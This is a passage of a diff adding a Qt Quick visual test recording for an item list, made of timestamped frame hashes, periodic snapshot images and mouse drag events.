+ hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 224 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 240 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 256 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 272 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 288 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 304 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 320 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 336 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 352 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 368 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 384 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 400 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 416 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 432 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 448 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 464 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 480 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 496 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 512 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 528 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 544 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 560 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 576 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 592 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 608 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 624 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 640 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 656 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 672 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 688 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 704 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 720 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 736 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 752 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 768 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 784 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 800 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 816 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 832 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 848 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 864 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 880 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 896 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 912 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 928 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 944 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 960 + image: "itemlist.0.png" + } + Frame { + msec: 976 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 992 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1008 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1024 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1040 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1056 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1072 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1088 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1104 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1120 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1136 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1152 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1168 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1184 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1200 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1216 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1232 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1248 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1264 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1280 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1296 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1312 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1328 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1344 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1360 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1376 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1392 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1408 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1424 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1440 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1456 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1472 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1488 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1504 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1520 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1536 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1552 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1568 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1584 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1600 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1616 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1632 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1648 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 192; y: 111 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1664 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 191; y: 111 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1680 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 190; y: 112 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 187; y: 113 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1696 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 184; y: 113 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 180; y: 113 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1712 + hash: "a68b1bc6c2963ee92c3a45f500667b3b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 174; y: 114 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 167; y: 115 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1728 + hash: "7cda93e59466b3348e7ffe3895f89e86" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 160; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1744 + hash: "06e0008c78e919f7270402938d9d764b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 140; y: 121 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 132; y: 122 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1760 + hash: "9d8da9199efebb95f56e5d4ebc9a585e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 114; y: 126 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 98; y: 132 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1776 + hash: "54a60a4279911ba4a8a5741bcadfa783" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 91; y: 132 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 91; y: 132 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1792 + hash: "a1a19370a1a8ed78e475f0d0eb12311c" + } + Frame { + msec: 1808 + hash: "196a3b127cf7065614c34856bf8d8bca" + } + Frame { + msec: 1824 + hash: "5fbefbd7c7be4374382cc4c8b86ac78a" + } + Frame { + msec: 1840 + hash: "d6a544c622e504c1b931e1a8a1310a6e" + } + Frame { + msec: 1856 + hash: "20e76f0eb4ec5f691999faf8ad313370" + } + Frame { + msec: 1872 + hash: "7f84a3545907c754ae8a6a30ef61c98d" + } + Frame { + msec: 1888 + hash: "b544901eae32903ad054e8cdfed715eb" + } + Frame { + msec: 1904 + hash: "a010ed1e3312f4ca9f429b7e32cdcef9" + } + Frame { + msec: 1920 + image: "itemlist.1.png" + } + Frame { + msec: 1936 + hash: "93a731dc6f71b6ff5400bf74c87e6c46" + } + Frame { + msec: 1952 + hash: "c73f63d1a024ba956e693487b3ccc761" + } + Frame { + msec: 1968 + hash: "539d3d00fce2d0128cd697d86d237fe7" + } + Frame { + msec: 1984 + hash: "52752d7d6f2d0e085f7132313907b72b" + } + Frame { + msec: 2000 + hash: "f46dd5803a6075e979e0fc733d503bfb" + } + Frame { + msec: 2016 + hash: "b8734698a6bad00ecf019f85328c2c21" + } + Frame { + msec: 2032 + hash: "1cfc499ca756023430cc5b2fa95a599d" + } + Frame { + msec: 2048 + hash: "63a816548837c19f8f0494c137fc0174" + } + Frame { + msec: 2064 + hash: "1bce9b85235e9a1a472c079dfec70ec5" + } + Frame { + msec: 2080 + hash: "6677863e7f74c12648409883f73adbe2" + } + Frame { + msec: 2096 + hash: "98e707a3e39a5f7bd4a101c2ed83535c" + } + Frame { + msec: 2112 + hash: "c1f6d8842d14a9394d4b7797314f50e8" + } + Frame { + msec: 2128 + hash: "579758b477bcd2112b305a5aac7df338" + } + Frame { + msec: 2144 + hash: "4a7bb81090db246db53e2dbc56f710ea" + } + Frame { + msec: 2160 + hash: "074995cdd8a70817d1c8a7bb0ad4c542" + } + Frame { + msec: 2176 + hash: "bd8d7bda4d2e9ad1fba2895d568f36cc" + } + Frame { + msec: 2192 + hash: "40cce3d2d80ac470af44fc334cec1d5b" + } + Frame { + msec: 2208 + hash: "15cbc226b032d5a97199735ea7a1408b" + } + Frame { + msec: 2224 + hash: "12b296aea9b058a5402d0d0a620f8edc" + } + Frame { + msec: 2240 + hash: "6ffd2b79cf0e941a59e74bc6f9025bcb" + } + Frame { + msec: 2256 + hash: "589a58ef76ea709dc8d80390c9044f99" + } + Frame { + msec: 2272 + hash: "c009924bfa30153f22ab168b539494e9" + } + Frame { + msec: 2288 + hash: "4b83674a7c2daa68d735901ad40be2bd" + } + Frame { + msec: 2304 + hash: "0525908c0302ada989e28990bac3f2ca" + } + Frame { + msec: 2320 + hash: "89eb13976ba3ba4413cafeb0cc91c01b" + } + Frame { + msec: 2336 + hash: "75c1295ef99680784b2e11fb88fa1423" + } + Frame { + msec: 2352 + hash: "93d89165cf6a97c76ae6e7f75678a3cd" + } + Frame { + msec: 2368 + hash: "53064c1938f08a55603a99b0db225174" + } + Frame { + msec: 2384 + hash: "31db5684466c0c32128a9a8c7b1835e1" + } + Frame { + msec: 2400 + hash: "99d9e58697736198e0a00443d237e85b" + } + Frame { + msec: 2416 + hash: "6c1e860aef983367365d53f5849ad441" + } + Frame { + msec: 2432 + hash: "6c1e860aef983367365d53f5849ad441" + } + Frame { + msec: 2448 + hash: "6c1e860aef983367365d53f5849ad441" + } + Frame { + msec: 2464 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2480 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2496 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2512 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2528 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2544 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2560 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2576 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2592 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2608 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2624 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2640 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2656 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2672 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2688 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2704 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2720 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2736 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2752 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2768 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2784 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2800 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2816 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2832 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2848 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 2864 + hash: "99f9988040a389576cb6420b5391f768" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 181; y: 104 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2880 + image: "itemlist.2.png" + } + Frame { + msec: 2896 + hash: "99f9988040a389576cb6420b5391f768" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 179; y: 105 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 177; y: 106 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2912 + hash: "99f9988040a389576cb6420b5391f768" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 174; y: 108 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 170; y: 110 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2928 + hash: "5bb06b4e74532ba5bc8c7bc38bf77d7f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 166; y: 112 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 160; y: 115 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2944 + hash: "b10a6206830a876017799ef2fcf61b1a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 154; y: 117 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 140; y: 123 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2960 + hash: "b2e24759ba10afd6cff90f4b1e04b496" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 124; y: 127 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 124; y: 127 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2976 + hash: "ccbcd6f45cb529c2db71504c0f69d73e" + } + Frame { + msec: 2992 + hash: "7b31c6d5931677f1aa1e8c7d48a4ff22" + } + Frame { + msec: 3008 + hash: "c52f691a0a6cf155118bdfea2dfea623" + } + Frame { + msec: 3024 + hash: "dd639d1df3d4a9b8f06718def63d588f" + } + Frame { + msec: 3040 + hash: "39d767b09a648ef6295cec2848f9226f" + } + Frame { + msec: 3056 + hash: "5dd46d5f386431e7b13348ac9a9630ed" + } + Frame { + msec: 3072 + hash: "0354e5183b0e66e7ba146d292c559df4" + } + Frame { + msec: 3088 + hash: "984aa6d7075e24de429e05b1b0eda94a" + } + Frame { + msec: 3104 + hash: "1af58a2f44f1f613712d4df85e38356d" + } + Frame { + msec: 3120 + hash: "6e4085e7f1fee724d78808753f04b471" + } + Frame { + msec: 3136 + hash: "73a019ef9057639d631cd99a431b3f3b" + } + Frame { + msec: 3152 + hash: "c9414a2e655a90dfdcb6fb288b4ba0ca" + } + Frame { + msec: 3168 + hash: "3f4c24f7ac89da982af22032309637fb" + } + Frame { + msec: 3184 + hash: "a50e6ada8f73a257657f4348ceaffcfd" + } + Frame { + msec: 3200 + hash: "a67bf40d09259bbd079c12ae4f49150f" + } + Frame { + msec: 3216 + hash: "a2fc512b7c234a9d0b2c1a83387a8a46" + } + Frame { + msec: 3232 + hash: "85090683ce9a3c9833b1cb0b3df076ee" + } + Frame { + msec: 3248 + hash: "275f3594a0e2cc4b6717f9f336e7e1b6" + } + Frame { + msec: 3264 + hash: "2473eb11f7b65a784a2b166114026488" + } + Frame { + msec: 3280 + hash: "4865c30dc45fbf5ca82047b77eca0912" + } + Frame { + msec: 3296 + hash: "54de88bca395449fbaea2c090c7a5d91" + } + Frame { + msec: 3312 + hash: "833f9295cf9a34934f001eac48551b59" + } + Frame { + msec: 3328 + hash: "5bf565f57ababa7380faeee94add91ca" + } + Frame { + msec: 3344 + hash: "6325578867f1eb3b2d47ed40b017b571" + } + Frame { + msec: 3360 + hash: "046a6114176b3a3206b7a2acd6e30b41" + } + Frame { + msec: 3376 + hash: "f8d4120a17f28c2d1d9c4be959098058" + } + Frame { + msec: 3392 + hash: "71356d2e48aad2900784ea6bc1a3d908" + } + Frame { + msec: 3408 + hash: "b84ad460fb81fdc4049abe8f3ff180bb" + } + Frame { + msec: 3424 + hash: "0354239f5eaea23474d9f81385392a8a" + } + Frame { + msec: 3440 + hash: "8ef0eef3393e07ae7605c865a95edc30" + } + Frame { + msec: 3456 + hash: "5b8b384cc8e3faf4310015e19b3eb487" + } + Frame { + msec: 3472 + hash: "77c18ac7dfff2a4e516915e3e3df0717" + } + Frame { + msec: 3488 + hash: "c1d3264384c26345eb8100de829309ca" + } + Frame { + msec: 3504 + hash: "6b21f71d0bedef4bbcb445a13f61e7a3" + } + Frame { + msec: 3520 + hash: "f619097356671f6eb54d3b1c481e709d" + } + Frame { + msec: 3536 + hash: "e56e3a90da446e0c482cb93717f6aacc" + } + Frame { + msec: 3552 + hash: "aa94ebdbb4b8423aff28c95daff0baf5" + } + Frame { + msec: 3568 + hash: "e1744d9cacd1a2c96af4cfdd5c486995" + } + Frame { + msec: 3584 + hash: "7f19ea52e9e41a3b1bd90bb2a144d305" + } + Frame { + msec: 3600 + hash: "7f19ea52e9e41a3b1bd90bb2a144d305" + } + Frame { + msec: 3616 + hash: "7f19ea52e9e41a3b1bd90bb2a144d305" + } + Frame { + msec: 3632 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3648 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3664 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3680 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3696 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3712 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3728 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3744 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3760 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3776 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3792 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3808 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3824 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3840 + image: "itemlist.3.png" + } + Frame { + msec: 3856 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3872 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3888 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3904 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3920 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3936 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3952 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3968 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 3984 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4000 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4016 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4032 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4048 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4064 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4080 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Frame { + msec: 4096 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 31; y: 137 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4112 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 32; y: 137 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4128 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 33; y: 136 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 36; y: 135 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4144 + hash: "88143ff6c278a5433b314b551b7b8b1d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 40; y: 134 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 46; y: 132 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4160 + hash: "c2c9c284b185a89faf4ddb5a7867f449" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 64; y: 130 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4176 + hash: "de1c18aeda5d2fbd6dad4554c78617bd" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 86; y: 126 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 110; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 110; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4192 + hash: "a67bf40d09259bbd079c12ae4f49150f" + } + Frame { + msec: 4208 + hash: "94514668dafbe41c5890a578efd6dea4" + } + Frame { + msec: 4224 + hash: "2e97a74eb9ddb1c9613c89e2d78db018" + } + Frame { + msec: 4240 + hash: "4b5368f0d86bffeb6bd31b58aec88650" + } + Frame { + msec: 4256 + hash: "b459bde7bb4ce51e6ecdab58f64fcbb9" + } + Frame { + msec: 4272 + hash: "7bac8cc3ec64c9ad1c0da282e38c953e" + } + Frame { + msec: 4288 + hash: "a73a58c3d7a757547740a2a161f4c756" + } + Frame { + msec: 4304 + hash: "b35edcb1fa3568a3e770ab2364b82e75" + } + Frame { + msec: 4320 + hash: "d6c863ef57c5e5cb04cdac72f920db0b" + } + Frame { + msec: 4336 + hash: "0db5e4588ff851918b07796f0cf07382" + } + Frame { + msec: 4352 + hash: "71ec8c363ca6a6f7556afb70faccffe6" + } + Frame { + msec: 4368 + hash: "18d026e9c965ada1db67c643576d2a80" + } + Frame { + msec: 4384 + hash: "69f71c22dff981a4da8ec1edcf90e79f" + } + Frame { + msec: 4400 + hash: "680460f5e4d9e649931601041af046b2" + } + Frame { + msec: 4416 + hash: "3028763fd15de2607b20b1331b904a4a" + } + Frame { + msec: 4432 + hash: "333eb60e217fe1ea7469eab52ac461f1" + } + Frame { + msec: 4448 + hash: "ccbcd6f45cb529c2db71504c0f69d73e" + } + Frame { + msec: 4464 + hash: "3445df9b41a0a3e74738cbf328ab7d5c" + } + Frame { + msec: 4480 + hash: "bd2c072558479e9de7a97207e58cc57f" + } + Frame { + msec: 4496 + hash: "3d34b0b24a30eda93377dcb4585afed8" + } + Frame { + msec: 4512 + hash: "d3045703863b0c5a327b9355c23d69f2" + } + Frame { + msec: 4528 + hash: "2f2eb55f693415b840a317211b250e9f" + } + Frame { + msec: 4544 + hash: "791b9ca7d47a3343474c30a35e336d4b" + } + Frame { + msec: 4560 + hash: "73a0c02ebad6d3d5f939d9a00dd898bf" + } + Frame { + msec: 4576 + hash: "d5c11135d586711b12f236430a2c2795" + } + Frame { + msec: 4592 + hash: "34f9ea214fe714ff4e994f715ea6ea39" + } + Frame { + msec: 4608 + hash: "8e49afa00983b156b818533923fb6edd" + } + Frame { + msec: 4624 + hash: "e7e7bef17cee92eca9191fd734d7a577" + } + Frame { + msec: 4640 + hash: "e407f6ed7cb3c130365ab5515d6308c0" + } + Frame { + msec: 4656 + hash: "5bb06b4e74532ba5bc8c7bc38bf77d7f" + } + Frame { + msec: 4672 + hash: "0ad7411316031e22034c14e81ca3a806" + } + Frame { + msec: 4688 + hash: "dd81d7a9b48c922b4c42cba1b5f2b9d7" + } + Frame { + msec: 4704 + hash: "32bef6f5005ad94e29ff59165958fbdc" + } + Frame { + msec: 4720 + hash: "87758dd311f91193bf1e3536c2f58525" + } + Frame { + msec: 4736 + hash: "015be92a4ff4e735fcc3cbc7a8b9d763" + } + Frame { + msec: 4752 + hash: "d4c34ed49317c6692d71681fcd9842b6" + } + Frame { + msec: 4768 + hash: "abaa235bb946a8abaddd52981d632c2d" + } + Frame { + msec: 4784 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4800 + image: "itemlist.4.png" + } + Frame { + msec: 4816 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4832 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4848 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4864 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4880 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4896 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4912 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4928 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4944 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4960 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4976 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 4992 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5008 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5024 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5040 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5056 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5072 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5088 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5104 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5120 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5136 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5152 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5168 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5184 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5200 + hash: "99f9988040a389576cb6420b5391f768" + } + Frame { + msec: 5216 + hash: 